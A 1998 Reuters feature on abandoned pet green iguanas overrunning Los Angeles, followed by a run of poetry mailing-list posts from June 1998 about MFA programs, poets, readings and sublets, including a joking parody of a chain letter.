By Sarah Tippit LOS ANGELES (Reuters) - Here's a real-life Godzilla story: Leaping lizards lambaste Los Angeles. Hundreds of homeless, angry and malnourished South American green iguanas are loose in Los Angeles. Considered trendy pets just five years ago, what were once cute little lizards -- shipped in by the thousands from Central America and sold in pet stores -- are growing into 6-foot-long temperamental pests, as much fun to run into as Godzilla. They whip their owners with heavy tails, outrun them, leap through screens, land in swimming pools, run up huge veterinary bills and are creating a glut of discarded pets that nobody -- not even animal rescue groups -- want. And it's not just a Los Angeles problem. They're fleeing to Phoenix, building colonies and reproducing in Florida, when they're not fighting each other. Dead or alive, these reptiles could mess up the ecosystem. Doctors say some carry salmonella bacteria that causes gastroenteritis in humans. Other exotic organisms they may harbor can infect and even kill off local animal populations, said Diane Lee, of the Reptile and Amphibian Rescue Network. Not since the potbellied pig -- cute as babies before people realized they ate too much -- has there been such a glut of unwanted pets, said Russ Smith, reptile curator at Los Angeles Zoo, which can't handle any more green iguanas either.

IGUANA: GO HOME

``We're constantly getting calls ... from people wanting to unload their iguanas,'' Smith said. ``I suggest they call any school that's close by and ask if someone would like to pick up a pet as a classroom science project.''

Even the nonprofit Wildlife Waystation -- a final resting place for failed pet fads from leftover purple Easter chicks to mountain lions who shredded their owners' drapes and sofas -- is up to its gills in iguanas and can take no more.

``We stopped taking them 30 to 45 days ago.'' said Martine Colette of Waystation, which recently has adopted more than 100 and is having a hard time finding suitable foster homes.

The iguanas first caught on in North America during the late

1980s after South and Central Americans in search of a lucrative cash crop scooped hundreds of nasty-tempered, tick-infested iguanas out of the jungles and shipped them to the United States, said Joe Ventura, a wildlife inspector with the U.S. Department of Fish and Wildlife.

Their size and temperaments initially kept the demand low while leather producers deemed their hides unsuitable.

CUTE BABIES CAN GROW UP AGGRESSIVE

But breeders, seeking a quick return, flooded the market with cute little babies that could be carried out of pet stores in brown paper bags by children. Prices plummeted from $50 to $75 per iguana to about $6 or $7 apiece, Ventura said.

Hailed as yuppie pets because they did not require daily feeding or walking, nobody told new iguana owners that they were actually very high maintenance.

For example, the California desert does not agree with iguanas, which hail from the tropics. So owners either have to buy a fog machine for humidity or carry the iguana into the shower, said Liz Baronowski of the Pasadena Humane Society.

Iguanas also require proper vitamins and diet and light. Otherwise they develop rickets, pneumonia, or permanent malformations which make their legs appear to be attached backwards.

During their 20-odd-year lifespan, iguanas never stop growing and require increasingly larger living spaces. They also get more difficult to handle, and when deprived of affection, they become skittish and aggressive.

``You don't want to see an angry iguana,'' Baronowski said. His throat pouch inflates, and then ``he comes at you full board, his tail a lovely little sword.''

GUIDELINES AND PERMITS REQUIRED

The Los Angeles Animal Regulation Commission recently approved a new set of guidelines. They would require pet stores to inform potential owners that $70 permits are required to legally own an iguana, and provide other details on care, handling and potential risks, said spokesman Jeff Prang.

Discarded iguanas who are considered too cantankerous are put to death by lethal injection, Baronowski said.

``You know there's a real problem when shelters have to start putting animals down,'' Baronowski added.

The conclusion? ``Unless you can make a long-term commitment

to an iguana, try a different reptile,'' said Erin Terry, owner of the Exclusively Reptiles boutique in the Los Angeles suburb of Westchester.

``Get a skink, a water dragon, or a gecko. They don't grow as large and they will not outgrow their terrarium.''

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572. **John Kimball**
Complete the following
Tue 16 Jun 1998

Complete the following

I've been hurt into a sex breakthrough feeling the cold in Mo's care. Mo's gender is a crop buster of solitaires, a rotation crop. The cortex between falls victim eating their young. What "pops up" is the impact of indifference, of brooding. It's attitude, of an intern ejecting her fingers into my, no... there's a hurry to be reborn and assort somewhat _____ my arm as-is, and days that are no more finish ending it in broken chains.

↑ Index

573. **k. lederer**
Re: What Price Iowa?
Tue 16 Jun 1998

Iowa isn't so pricey.... pretty much everyone gets some form of aid--primarily in the form of teaching. Some people get tuition wavers... and the town is pretty inexpensive to live in. There are a few full fellowships....

I think the conversation got off track in this instance because someone assumed that because I was complaining about the expense of MFA programs and the proliferation of indebted MFA grads, that I was really complaining about my own situation...

Best,
Katy

↑ Index

574. David Kellogg
Re: "holy william burroughs, batman!" (f.y.i.)
Tue 16 Jun 1998

> *And it's not just a Los Angeles problem. They're fleeing to Phoenix, building colonies and reproducing in Florida, when they're not fighting each other.*

Phoenix, Florida . . . not fleeing but retiring.

Cheers,
David
~~~
~~~

What you are now holding is your righteous poetic perquisite. The lauditory lotto for the priest of the invisible. Considering you are a poet, with poetic friends, you should have some scintillating poems which you would be willing to sell through the mail for $1. If you do write poems, and who among us doesn't, you could easily earn over $100,000 in six weeks. Here's how:

1. Send $1 (US currency) to the progenitor of this idea: David Baratier / 345 E. Whittier St./ Columbus, OH 43206 2. Send each of the poets listed $1 for each of their poems. 3. Remove the name which is in the #1 position, move everyone up one space and place yourself in the 5th position. 4. Make at least 100 copies of this letter and distribute it to aspiring writers at thriving MFA programs, bars, workshops, and bring copies to readings and parties for those rarest of people who tell you they write also.

Since most poets are mathematically deficient, and the realm of science was taken from our visionary attributes a few centuries ago, let me show you the way to fiscal freedom:

1. 100 letters will (assuming the poem's excellence) elicit a 10% response, this is $10. 2. Those 10 send out 100 letters, 100 will send $1 = $100 3. Those 100 send out 100 letters, 1000 will send $1 = $1000 4. Those 1000 send out 100 letters, 10,000 will send $1 = $10,000 5. Those 10,000 send out 100 letters, 100,000 will send $1 = $100,000

For the price of sending out poems to some glossy journal who would only give you two contributors copies, a pittance for your brilliance, you can have what you've always desired: the fat fingers of free-time clacking away on your keyboard. How could your poetic sensibilities possibly find this offer egregious?

One man became the poet laureate five days after sending out the envelopes, an ex-president's poems were finally taken seriously and accepted in literary realms shortly after following this plan, and one tedious poet was able to stop publishing and writing as a result of this methodology.

Testimony:

C.K.W. - "The fortune of this plan has enabled me to buy a tombstone early and start writing about my withering from this point onward."

Helen Steiner R. - "I am now writing serious poems again."

C. S. - "With the wealth of envelopes with influence of wealth I found no reason to find poets of influence any longer."

Now certain writers have broken this chain. Perhaps you have noticed their names disappearing at an independent bookstore rate off the shelves at Borders. Be forewarned, refusal to comply brings a variety of severities upon the receiver. One woman's literary journal folded shortly after non-compliance, one

was accused of new primitivism in public, and yet another poet's first book went out of print. Do not delay, tenure track positions have been lost and found on the basis of responding to this letter. I look forward to hearing from all of you.

Be well,

David Baratier, Richest Poet in the United States

↑ Index

576. P.Standard Schaefer

Money, poetry, magazines

Tue 16 Jun 1998

To one and all:

This money discussion has been a bit upsetting.

That and the fact that I'm staring at 200 copies of Rhizome I'd like to move (money needed for future issues). So I'm going to cut the price from $10 to $6 on the current issue..unless you happen to be an institution. Those of you who have seen the magazine might be able to confirm that it is easy on the eye. Maybe even slick.

Off the top of my head: Issue 2 contains Jacques Debrot, John Lowther, Barbara Guest, Ray Di Palma, Nick Piombino, Norma Cole, Bruce Andrews, L. Scalapino, Patrick Pritchet, George Albon, Guy Bennett, Paul Vangelisti, Aaron Shurin, Mac Wellman, Franklin Bruno, Joe Ross, Andrew Mossin, Paul Long, Bob Crosson, David Bromige, Sheila Murphy, Mark Wallace, John Yau, Avery Burns, Nico Vassilakis, Ted Greenwald, B. Mayer, Dennis Phillips. Lot of others, Lots of reviews. Some artwork by some young LA artists as well as Dennis Oppenheim. A couple translations of fiction from Mexico (Fabio Morabito, Jaime Moreno Villareal).

If you're interested, send a check for $6 to 366 S.Mentor Ave. #108, Pasedena, CA 91106.....MAKE IT PAYABLE TO S. Schaefer (not rhizome).

Very much hope to recover some money so we can get on with the third issue which should be very good...lots of translations from France, Chile, Italy.

Standard Schaefer

↑ Index

577. **Pam Brown**
Re: Looking for the address
Tue 16 Jun 1998

Hi Maxine -
It's
3 West End Lane,
ULTIMO
NSW 2007
AUSTRALIA

Cheers,
Pam
At 12:55 PM 12/6/98 -0700, you wrote:
>I need the snail mail address of Pam Brown in Australia. Can someone
>supply it for me? (Pam, are you out there?)
>
>Best,
>
>Maxine Chernoff
>
>

↑ Index

578. **Mark Weiss**
Re: "holy william burroughs, batman!" (f.y.i.)
Tue 16 Jun 1998

I have a solution: the leather may not be great, but they're a standard menu item in some countries and are said to be delicious. In places like Florida where there are feral colonies a hubting season might bring in both restaurant and tourist revenues.

At 04:55 PM 6/16/98 -0400, you wrote:
>FEATURE-Homeless iguanas roam Los Angeles
>
>
>	By Sarah Tippit
>	LOS ANGELES (Reuters) - Here's a real-life Godzilla story:
>Leaping lizards lambaste Los Angeles.
>	Hundreds of homeless, angry and malnourished South American
>green iguanas are loose in Los Angeles.
>	Considered trendy pets just five years ago, what were once
>cute little lizards -- shipped in by the thousands from Central

>America and sold in pet stores -- are growing into 6-foot-long
>temperamental pests, as much fun to run into as Godzilla.
>	They whip their owners with heavy tails, outrun them, leap
>through screens, land in swimming pools, run up huge veterinary
>bills and are creating a glut of discarded pets that nobody --
>not even animal rescue groups -- want.
>	And it's not just a Los Angeles problem. They're fleeing to
>Phoenix, building colonies and reproducing in Florida, when
>they're not fighting each other.
>	Dead or alive, these reptiles could mess up the ecosystem.
>Doctors say some carry salmonella bacteria that causes
>gastroenteritis in humans.
>	Other exotic organisms they may harbor can infect and even
>kill off local animal populations, said Diane Lee, of the
>Reptile and Amphibian Rescue Network.
>	Not since the potbellied pig -- cute as babies before people
>realized they ate too much -- has there been such a glut of
>unwanted pets, said Russ Smith, reptile curator at Los Angeles
>Zoo, which can't handle any more green iguanas either.
>
>	IGUANA: GO HOME
>	``We're constantly getting calls ... from people wanting to
>unload their iguanas,'' Smith said. ``I suggest they call any
>school that's close by and ask if someone would like to pick up
>a pet as a classroom science project.''
>	Even the nonprofit Wildlife Waystation -- a final resting
>place for failed pet fads from leftover purple Easter chicks to
>mountain lions who shredded their owners' drapes and sofas -- is
>up to its gills in iguanas and can take no more.
>	``We stopped taking them 30 to 45 days ago.'' said Martine
>Colette of Waystation, which recently has adopted more than 100
>and is having a hard time finding suitable foster homes.
>	The iguanas first caught on in North America during the late
>1980s after South and Central Americans in search of a lucrative
>cash crop scooped hundreds of nasty-tempered, tick-infested
>iguanas out of the jungles and shipped them to the United
>States, said Joe Ventura, a wildlife inspector with the U.S.
>Department of Fish and Wildlife.
>	Their size and temperaments initially kept the demand low
>while leather producers deemed their hides unsuitable.
>
>	CUTE BABIES CAN GROW UP AGGRESSIVE

>	But breeders, seeking a quick return, flooded the market
>with cute little babies that could be carried out of pet stores
>in brown paper bags by children. Prices plummeted from $50 to
>$75 per iguana to about $6 or $7 apiece, Ventura said.
>	Hailed as yuppie pets because they did not require daily
>feeding or walking, nobody told new iguana owners that they were
>actually very high maintenance.
>	For example, the California desert does not agree with
>iguanas, which hail from the tropics. So owners either have to
>buy a fog machine for humidity or carry the iguana into the
>shower, said Liz Baronowski of the Pasadena Humane Society.
>	Iguanas also require proper vitamins and diet and light.
>Otherwise they develop rickets, pneumonia, or permanent
>malformations which make their legs appear to be attached
>backwards.
>	During their 20-odd-year lifespan, iguanas never stop
>growing and require increasingly larger living spaces. They also
>get more difficult to handle, and when deprived of affection,
>they become skittish and aggressive.
>	``You don't want to see an angry iguana,'' Baronowski said.
>His throat pouch inflates, and then ``he comes at you full
>board, his tail a lovely little sword.''
>
>	GUIDELINES AND PERMITS REQUIRED
>	The Los Angeles Animal Regulation Commission recently
>approved a new set of guidelines. They would require pet stores
>to inform potential owners that $70 permits are required to
>legally own an iguana, and provide other details on care,
>handling and potential risks, said spokesman Jeff Prang.
>	Discarded iguanas who are considered too cantankerous are
>put to death by lethal injection, Baronowski said.
>	``You know there's a real problem when shelters have to
>start putting animals down,'' Baronowski added.
>	The conclusion? ``Unless you can make a long-term commitment
>to an iguana, try a different reptile,'' said Erin Terry, owner
>of the Exclusively Reptiles boutique in the Los Angeles suburb
>of Westchester.
>	``Get a skink, a water dragon, or a gecko. They don't grow
>as large and they will not outgrow their terrarium.''
>
>

↑ Index

579. **Aviva Vogel**
Frank Stanford/Forrest Gander
Tue 16 Jun 1998

In a message dated 98-06-16 13:09:31 EDT, you write:

> *a Web Page I wrote on Frank*
> *Stanford,*

Brent, is this web page on Stanford still available? If not, do you need help getting it back up? I'd love to see it...

By the way, have you read Gander's latest? It's truly awesome, and I think that the reference someone made to his poetry as being of the "Deep Image" aesthetic limits its breadth and power. It's quite unique, shockingly unusual, and possesses stimulation for mind, body and spirit--all three at once--in full force. If you've read it, what's your feeling about Gander's work?

Thanks, Aviva

↑ Index

580. **Aviva Vogel**
Re: What Price Iowa?
Tue 16 Jun 1998

In a message dated 98-06-16 14:35:50 EDT, you write:

> *teaching fellowship,*

Summi, thanks for the info. I had no idea. How do students without credentials get teaching fellowships? I'm pretty ignorant of this academic world, and wonder...what do they have to teach? What qualifies them? How competitive is the scholarship funding?

↑ Index

581. **maz881**
obsesh
Tue 16 Jun 1998

Jordash,

lately i've been thinking about the big database, the one that has your MONEY-credit-POWER, and your medical, education, arrests, etc. and thinking that there is so much data, how much time will people have to snoop like a need will develop for people like the database dude in gibson's recent novel who can just sniff out the relevant patterns. are you afraid of the ONE database?

i've also been obsessed with the roofs of honolulu houses. they are made of a kind of tar shingle with little gray or green gravels, and also very pointy, not many gables tho, but pointy roofs and they decend low so that it's easy for a tall person to touch their lower extremities. rarely there is a roof that is tiled, but if it is, it is wavy tile and a deep blue; i think it is a japanese fashion, so unlike the tiled roofs common in mexico and southwestern us: which to me say the ground the red, etc, but these ones look like the ocean, the sky. one is next door to me and i look at it in the morning when i make mango smoothies.

another structure i think about is what i call the "skirt". it is kind of a 1960s era covering around buildings. you can see through the skirt and often these are made of elaborate cinder block style patterned materials. i can't really figure out their purpose, other than shielding sun and creating a layer of air between skirt and buliding that must stay a little cooler than the air outside the skirt. i think metaphorically this skirt lets, gives the appearance of being able to see in (through the holes), of openeness, but really hides the building and boxes it up. to me feels like the culture here. open, laid-back on the outside. on the inside, hierarchical, highly class- race conscious, proper, uptight, etc. i would say about 40% of the apartment and office buildings in honolulu employ some type of skirt device. anybody know anything about 60s architecture?

also i've been thinking how ugly white people are. and think, oh, i don't look like the odd haoles i see now and then. i don't know what i think i look like. i'm afraid to think. like when i go to the beach, what do people think. (i've never had a tan in my life)

also i've been buying stickers. in french a sticker is called an autocollant.

Bill Luoma

↑ Index

582. **sylvester pollet**

Re: Ad campaigns and poets galore (who score)

Tue 16 Jun 1998

At 3:28 PM -0500 6/16/98, s. kaipa wrote:
>Wasn't it Lew Welch that came up with the ad:
>
>Raid kills bugs dead.
>
>?
>
>
>
>

>
>Summi

Yes, and I always thought the realization that that line would outlive all his others is what did him in. S.

↑ Index

583. Anthony Lawrence
Cohen
Tue 16 Jun 1998

> *As much as I enjoy Cohen's offerings as they are, it would be extremely interesting if he could untangle his tongue a little, and express some of the so obviously repressed creative materials a little more freely.*
>
> *In one interview, some years ago, he told the interviewer that he is made to agonize about each word he writes.*

I think, with many highly-influential albums, books of poems and prose poems, two novels and a Roshi, Laughing Lennie has been quite free with his expression. The air might be thin on Mt. Baldy, but the groundswell shows no sign of abating. And as for the agonising over words... he has been intentionally esoteric when playing the interview game, but so has Richard Wilbur ("someone looking down on me from above, as I sit at a card table in the sun staring at a white sheet of paper, could be forgiven for thinking I was in a state of severe catatonia"), and others in the Paris Review & Parnassus interviews. Some of us lay words down with a trowel, others, like Bunting & Cohen, use a chisel & blow powder from the stone before the next word is revealed.

Anthony

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

584. morpheal
Re: "holy william burroughs, batman!" (f.y.i.)
Tue 16 Jun 1998

> *FEATURE-Homeless iguanas roam Los Angeles*
> *By Sarah Tippit*
> *LOS ANGELES (Reuters) - Here's a real-life Godzilla story: Leaping lizards lambaste Los Angeles.*

> *Hundreds of homeless, angry and malnourished South American green iguanas are loose in Los Angeles.*
> *Considered trendy pets just five years ago, what were once cute little lizards -- shipped in by the thousands from Central America and sold in pet stores -- are growing into 6-foot-long temperamental pests, as much fun to run into as Godzilla.*

They are, of course, mutating into dinosaurs.

It is part of the current retro tendency.
It even affects wildlife genetics.

M.

↑ Index

585. Marcella Durand
various topics
Tue 16 Jun 1998

I have a bunch of announcements/statements here:

first, Bernadette Mayer's "Experiments in Writing," which includes lists of journal ideas and lists of writing experiments is now up on the Poetry Project web site (www.poetryproject.com), and yes, there's a convenient e-mail link at the bottom of the page so you can send your own writing experiment additions.

second, Eleni Sikelianos has asked me to post sublet info. Her apartment in the Lower East Side (Ridge & Rivington) is available from July 1st to August 9th for $1650 plus utilities. I haven't seen it personally, but she says it's large, and 2-bedroom, altho sheets will be needed to be hung over doorways. If you're interested, e-mail her at [redacted].

third, even more sublet info. Loft on Chambers St in Tribeca from July 27th to September 9th for $2400 plus phone deposit. It's huge, with painter's studio in front, living room, back bedroom, roof with some plants. Captures that early 80s feel of rustic artist's loft. Call [redacted], or you can e-mail me back about it.

fourth, Jordan's call re: obsessions. Street "furniture"; vendors; pawn shop symbols; the inside of pipes, walls, corners; city as energetic structure; political relations within communities; purchases and counter-purchases; barter and trade; abstraction; confusion--these are all "poetic" obsessions and may or may not appear in my fall season. Personal obsessions will stay where they belong, in the bathroom with all the handwashing and the soap.

best,
marcella

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586. **Karen Kelley**
Oops & Obsession
Tue 16 Jun 1998

I inadvertently deleted the letter before I reread the author, but not before I wrote down the line, which I submit as best-out-of-context-line-of-the-week (oh wait, I just remembered: it was Bill Luoma). Anyhow:

Another structure I think about is what I call a "skirt."

Can I use this, Bill?

Other listees: would you be offended by an appropriation like that? It doesn't represent the larger concept of Bill's paragraph, which I WOULD feel weird about appropriating, but how about single prosy lines (vs. perhaps more overtly "poetic" lines--say, containing a metaphor)?

Appropriation is *my* obsession.

↑ Index

587. **morpheal**
Re: Oops & Obsession
Wed 17 Jun 1998

> *Another structure I think about is what I call a "skirt."*
>
> *Can I use this, Bill?*
>
> *Other listees: would you be offended by an appropriation like that? It doesn't represent the larger concept of Bill's paragraph, which I WOULD feel weird about appropriating, but how about single prosy lines (vs. perhaps more overtly "poetic" lines--say, containing a metaphor)?*
> *Appropriation is *my* obsession.*

I suppose you would have to search the _big_ database for other possible instances of usage. You would have to find all those who had made any previous claims to that seemingly original turn of phrase. You would then, perhaps, have to obtain their permission, or a waiver as to their appropriating it first. Only then might you appropriate it as your own. Should you find one instance of trade mark, copyright, or similar encumberance, anywhere in the world, you might have to forego appropriation and hope like hell that you can use it, the way Bill did, without acknowledging someone else's prior appropriation.

Now, who said that they coined an original phrase ?

Really ???? Prove that it is original.

And remember how many millions of English words are published annually. (Also including advertising.) Anyone have a word count on that ? It would be interesting to know.

What then are the chances of a whole verse of _your_ poem, or a paragraph of _your_ new novel, being substantively or wholly present in some prior work ? I wonder what the statistical odds really are. Anyone know that ?

We do not, on average, like to think about such questions. I wonder why.

M.

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588. **Jim Andrews**
an institutionalized avant garde
Wed 17 Jun 1998

> *First time I have heard Rod MacEwan mentioned for years. Reminds me of the time someone in _Rolling Stone_ referred to MacEwan and MacCohen....*

Gwendolyn MacEwen, not Rod McKuen. I spelled her name wrong. You spelled Rod McKuen's wrong. But it is worse to spell Gwendolyn's name wrong than McKuen's because she was such a fine poet.

↑ Index

589. **George Bowering**
Re: an institutionalized avant garde is
Wed 17 Jun 1998

> *hey i caught the bowerer in his own petard: it's MCKUEN. MacEwan, is that Ian the creepy-fiction writer? McKuen is the hallmark poet of SF 60s.*

Oh, I knew it. Damn. Okay, Maria, I'll do that same obeisance thing I did last year.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

590. **George Bowering**
Re: Cohen
Wed 17 Jun 1998

Actually, _Book of Mercy_ was Cohen's last (so far) book of poems. It got less attention than any of his others, but I remember at the time being pleased and interested because (again) he had gone to the work of writing something he had not written before, and because there was some stuff you knew you had to come back to, to try to piece out. There was one intelligent review, by an Ottawa philosophy teacher.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

591. **Pierre Joris**
"Caput, Vox, Grotto"
Wed 17 Jun 1998

This should be of interest to anybody in the Albany area:

"Caput, Vox, Grotto": Heading Home to Mama Tone

A Poetry, Voice, Climbing, Drawing Performance Dreamt up by:

Lori Anderson & Nicole Peyrafitte

multimedia-developers:

Ben Henry Belle Gironda Hobby Paul Ebert

Climbers from Albany Indoor Rockgym (A.I.R)

Sunday June 21, 1998 8:00 pm

at

Albany Indoor Rockgym, 4C Vatrano Road, Albany.

(Driving West on Central Ave. make a right, right after the I-90 by-pass

[where Little Anthony's Pizza is] and the gym will on your

right.)
Free to the
public
plan on sitting on the
floor
--
==========
pierre joris 6 madison place albany ny 12202
tel: [redacted] fax: [redacted]
email:[redacted]
http://www.albany.edu/~joris/

"I take place out there"

-- Robert Duncan
==========

↑ Index

592. **Jacques Debrot**
Re: Weiner's _Code Poems_
Wed 17 Jun 1998

Does anyone on the List know whether anything has been written about Hannah Weiner's _Code Poems_? Also, perhaps someone could comment on the relationship between Weiner's texts & the codes she appropriates there. Interesting examples appear in the Rothenberg, Joris anthology. I've become interested lately particularly in 1. the relationship between public & private languages in her writing & 2. the relationship of her work to LangPo -- 2 issues that very likely overlap. Any thoughts on these things? Oh, and one more question -- what are the best essays on her work?

--jacques

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593. **Brent Long**
Re: Frank Stanford/Forrest Gander
Wed 17 Jun 1998

Aviva,

Unfortunately, I had a "falling-out" with Stanford's widow, and have been working to re-construct the page w/o the poems she has the rights to. I have completed the page for the most part and have been donated some 25 Megs of Web Space to post it on, which should be complete by mid-summer. I have even

added a sound file of Frank Stanford reading his poem _Linger_, and this is the only known recording of the poet reading his work.

As for Forrest's new book, _Science and Steepleflower_, I think it is the most brilliant work he has done to date. I love it!!! I find him to be one of the most honest, articulate voices in contemporary poetry, and i think his work does not get nearly the amount of attention it deserves.

I'll keep you posted on the Stanford Page.

Brent

At 06:35 PM 6/16/98 EDT, you wrote:
>In a message dated 98-06-16 13:09:31 EDT, you write:
>
>> a Web Page I wrote on Frank
>> Stanford,
>
>Brent, is this web page on Stanford still available? If not, do you need
help
>getting it back up? I'd love to see it...
>
>By the way, have you read Gander's latest? It's truly awesome, and I think
>that the reference someone made to his poetry as being of the "Deep Image"
>aesthetic limits its breadth and power. It's quite unique, shockingly
>unusual, and possesses stimulation for mind, body and spirit--all three at
>once--in full force. If you've read it, what's your feeling about Gander's
>work?
>
>Thanks, Aviva
>
>
[redacted]

↑ Index

594. **Brent Long**
Re: Cohen
Wed 17 Jun 1998

George,

Any chance you have that intelligent review? I would love to see it.

At 01:22 AM 6/17/98 -0700, you wrote:
>Actually, _Book of Mercy_ was Cohen's last (so far) book of poems. It got
>less attention than any of his others, but I remember at the time being

>pleased and interested because (again) he had gone to the work of writing
>something he had not written before, and because there was some stuff you
>knew you had to come back to, to try to piece out. There was one
>intelligent review, by an Ottawa philosophy teacher.
>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>
>
[redacted]

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595. **Michael Magee**
Re: where's the poetry
Wed 17 Jun 1998

I understand Henry's & Standard's skepticism about the poet too willing to classify poetry as rhetoric, or, seemingly more to the point, to write the poem qua civics lesson, but I also think that there's an important distinction to be made: if all langauge is fundamentally rhetorical, as many a good 20th century theorist would suggest it is, then poetry is not a "sub-class of rhetoric" but rather a particular *kind* of rhetoric which is good at doing particular things. Standard suggests that he's interested in the way poetry, as a kind of writing, provokes thought, & in saying that he's implicitly using a rhetorical theory of form. Here's Kenneth Burke on such a theory as it regards poetry:

"The general approach to the poem might be called 'pragmatic' in this sense: It assumes that a poem's structure is to be described most accurately by thinking always of the poem's function. It assumes that the poem is designed to 'do something' for the poet and his readers, and that we can make the most relevant observations about its design by considering the poem as the embodiment of this act."

Burke of course is far from a vulgar pol & I find this approach to the poem, however avant-garde or 'traditional' to be incredibly helpful.

-m.

According to
P.Standard Schaefer:
> > Henry: > > In a message dated 98-06-15 15:43:56 EDT, you write:
>
> << I mean do people
> enjoy poetry or art anymore for its own sake - I mean the "cutting edge"
> people - or does it have to have a civics lesson attached? That seems
> to be where the money's at... I mean civics of some kind - righteous
> anger & all that... is there a problem here? Is this what Standard was
> talkin about? >>
>
>
> I think that this is an interesting point. I suspect that poetry is a sub-
> class of rhetoric among certain "avant-garde" writers who are interesting in
> politics or civics first, and then come around to writing poetry. I feel
> sometimes they can only rant rather than enact things in language which
might
> steer us toward thought. But why is it I tend to like these folks so much.
> It may be a slightly American problem. This division between craft and
> politics. I'm thinking about the new Sun&Moon international magazine Mr.
> Knife and Miss Fork (and also the reviews within) which suggest that other
> cultures have always been a little more comfortable (right word?) with this
> problem. Paul Vangelisti's translations of Zanzotto, his reviews of other
> Italian writers like Pagliarini and another translation of Zanzotto speak to
> this problem. I like this new project of Messerli's and he suggests often
> these days that the answer to "where's the poetry" is everywhere (I mean it is
> international...there are people beyond our borders who may still be
> interested in art for art's sake but don't shun the vital issues that it
> raises). I don't know how else to put it, but to say that recent translations
> of Gionvanna Sandri (Guy Bennett's Seeing Eye Books), the recent Raddle
Moon
> contain some of the most exciting, provocative work without dogmatics, civics
> lessons, etc.
>
> SS
>

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596. **Maria Damon**
Re: an institutionalized avant garde
Wed 17 Jun 1998

---

so tell us more; who's this gwendolyn mckuen

At 10:08 PM -0700 6/16/98, Jim Andrews wrote:
>> First time I have heard Rod MacEwan mentioned for years. Reminds me of the
>> time someone in _Rolling Stone_ referred to MacEwan and MacCohen....
>
>Gwendolyn MacEwen, not Rod McKuen. I spelled her name wrong. You spelled
>Rod McKuen's
>wrong. But it is worse to spell Gwendolyn's name wrong than McKuen's
>because she was
>such a fine poet.

↑ Index

597. **Maria Damon**
Re: an institutionalized avant garde is
Wed 17 Jun 1998

At 1:22 AM -0700 6/17/98, George Bowering wrote:
>>hey i caught the bowerer in his own petard: it's MCKUEN. MacEwan, is that
>>Ian the creepy-fiction writer? McKuen is the hallmark poet of SF 60s.
>
>Oh, I knew it. Damn. Okay, Maria, I'll do that same obeisance thing I did
>last year.

not so fast, my pretty. there's a line, and the stakes have gone up.
>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]

↑ Index

598. **Maria Damon**
Re: "Caput, Vox, Grotto"
Wed 17 Jun 1998

---

tres cool!

At 6:38 AM -0400 6/17/98, Pierre Joris wrote:
>This should be of interest to anybody in the Albany area:
>
> "Caput, Vox, Grotto": Heading Home to Mama Tone
>
> A Poetry, Voice, Climbing, Drawing Performance Dreamt up
>by:
> Lori Anderson & Nicole
>Peyrafitte
>
>
>multimedia-developers:
> Ben Henry Belle Gironda Hobby Paul
>Ebert
> Climbers from Albany Indoor Rockgym (A.I.R)
> Sunday June 21, 1998 8:00
>pm
>
>at
> Albany Indoor Rockgym, 4C Vatrano Road,
>Albany.
> (Driving West on Central Ave. make a right, right after the
>I-90
>by-pass
> [where Little Anthony's Pizza is] and the gym will on
>your
>right.)
> Free to the
>public
> plan on sitting
>on the
>floor
>--
>==========
>pierre joris 6 madison place albany ny 12202
>tel: [redacted] fax: [redacted]
>email:[redacted]

>http://www.albany.edu/~joris/
>----------
>“I take place out there”
>
>-- Robert Duncan
>==========

↑ Index

599. **Brent Long**
Sexton
Wed 17 Jun 1998

Hey all: Just in case you are interested, there is a cool article on Sexton at www.boston.com

Check it out.

Brent
[redacted]

↑ Index

600. **henry g**
Re: where's the poetry
Wed 17 Jun 1998

The Burke paragraph suggests it is possible (& fun) to look at a poem both as an (art) object and as a pragmatic "act". Such would lead the Mandelstamian critic to follow that up by pursuing the pre-context, the "impulse" behind the work, the poetic impulse. & the Brodsky quote I sent a couple days ago (before Jordan & I started zinging the slang) suggested that this specifically poetic impulse is psychically "deep" and historically "anticipatory" - an instrument (language) with specifically poetic powers underway.

Anyway, an awareness that there might be a specifically, generically poetic activity & impulse at work might allow a reader to weigh that in relation to the political goals of a poet & the specifically political/social rhetoric serving them.

When I started yelping, where's the poetry? I guess I was thinking, where's the singing? with reference to this poetic impulse... but I've taken this general bullshit line about as far as it will go... right Jordan? Read any Elena Shvarts lately? Julia Kunina? See the Librarian of Congress's op-ed piece today in the Times about US/Russian cultural-political relations... - Henry G., your friendly neighborhood lawyer shark

↑ Index

601. **Charles Bernstein**
Re: Weiner's _Code Poems_
Wed 17 Jun 1998

Jacques,

There is an incomplete list of reviews of Weiner's work on the Hannah Weiner pages at the EPC, see http://writing.upenn.edu/epc/authors/bernstein/weiner.bib.html: the end of this file has everything I knew about up to the time of her death. If you or anyone else comes up with additional critical pieces, please let me know: I know this needs to be updated to include the Poetry Project Newsletter pieces from last year and Mark DuCharme in *6ix* (can you give me the full citation for that?), and Maria Damon's recent MLA presentation (Maria will be giving a talk entitled "Hannah Weiner: Clairvoyance and Trauma" for the UB Poetics Program on Thurs., Oct. 15). What else?

Hannah would be seventy years old on November 4 and we are presently working on a celebration of her life and work, to be held at St. Mark's church -- The Poetry Project. I don't yet have a date, but it will likely be on a Sunday afternoon in the Fall. When I do have additional details, I will put out a call for those who might like to participate in this event.

↑ Index

602. **Douglas Barbour**
Re: Cohen
Wed 17 Jun 1998

I am a bit surprised by Brent Long's characterization of _Book of Mercy_ as 'dry,' but to each his own. Is prayer 'dry'? Alas, too often. But I found _Book of Mercy_ a marvel, not least for the wit, even the black humor, something too often lacking in prayer or psalms:

When I left the king I began to rehearse what I would say to the world: long rehearsals full of revisions, imaginary applause, humiliations, edicts of revenge. I grew swollen as I conspired with my ambition, I struggled, I expanded, and when the term was up, I gave birth to an ape. After some small inevitable misunderstanding, the ape turned on me. Limping, stumbling, I fled back to the swept courtyards of the king. 'Where is your ape? the king demanded. 'Bring me your ape.' The work is slow. The ape is old. He clowns behind his bars, imitating our hands in the dream. He winks at my official sense of urgency. What king, he wants to know. What courtyard? What highway?

Well, I find it funny anyway, . . . not to mention that it seems to connect to a number of threads ongoing here...

==========
==========

